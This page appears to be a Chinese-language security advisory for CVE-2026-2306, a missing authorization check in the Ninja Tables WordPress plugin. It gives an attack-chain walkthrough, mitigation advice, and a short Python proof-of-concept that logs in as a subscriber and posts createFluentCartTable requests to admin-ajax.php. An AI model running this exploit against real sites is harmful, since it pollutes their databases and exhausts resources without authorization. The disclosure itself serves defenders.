IPBUF安全漏洞报告
English
CVE-2026-2306 CVSS 4.3 中危

CVE-2026-2306: Ninja Tables权限绕过漏洞

披露日期: 2026-05-06

漏洞信息

漏洞编号
CVE-2026-2306
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ninja Tables WordPress Plugin

相关标签

权限绕过WordPressCVE-2026-2306Ninja Tables授权缺失

漏洞概述

WordPress插件Ninja Tables(Easy Data Table Builder)在5.2.6及之前的所有版本中存在权限绕过漏洞。该漏洞源于`createFluentCartTable`函数缺少必要的授权检查,允许低权限(如订阅者级别)的认证攻击者绕过安全限制,在数据库中创建任意Ninja Tables数据表。攻击者利用此漏洞可导致数据库污染,并可能引发资源耗尽攻击,对网站稳定性和数据完整性构成威胁。

技术细节

该漏洞的技术根源在于WordPress插件Ninja Tables的`FluentCartModule.php`文件中,`createFluentCartTable`函数缺少关键的身份验证与授权逻辑。在受影响版本(<=5.2.6)中,当插件处理来自前端的请求时,直接调用该函数执行数据库表的创建操作,却未检查当前用户是否具备管理员或编辑权限。根据源代码分析,该函数直接实例化`FluentCartHandler`处理传入参数并执行SQL建表语句。由于WordPress默认的订阅者角色拥有基本的认证Cookie,攻击者可利用这一合法身份,向目标站点发送特制的POST请求。成功的利用将导致在数据库中生成大量无用的数据表,迅速占用存储资源,造成数据库污染和服务器性能下降。

攻击链分析

STEP 1
侦察
攻击者扫描目标WordPress站点,确认是否安装了Ninja Tables插件及其版本号。
STEP 2
获取凭证
攻击者在目标站点注册一个低权限账户(如订阅者Subscriber),获取有效的登录Cookie。
STEP 3
发送恶意请求
利用订阅者权限,向`createFluentCartTable`接口发送特制的POST请求数据,触发数据库表创建操作。
STEP 4
达成影响
服务器无校验地执行建表操作,导致数据库中产生大量垃圾数据,造成资源耗尽。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "attacker" password = "password" # 1. Authenticate to obtain a valid session cookie session = requests.Session() login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url } session.post("http://example.com/wp-login.php", data=login_data) # 2. Exploit the missing authorization check # Sending a request to the vulnerable function endpoint exploit_data = { "action": "createFluentCartTable", "table_name": "exploit_table_test" } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] PoC executed successfully. Database table created.") else: print(f"[-] Exploit failed. Status code: {response.status_code}")

影响范围

Ninja Tables <= 5.2.6

防御指南

临时缓解措施
若无法立即升级插件,建议暂时禁用Ninja Tables插件以阻断攻击面;或者通过服务器端规则限制对`/wp-admin/admin-ajax.php`中action参数为`createFluentCartTable`的请求访问,仅允许受信任的管理员IP调用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表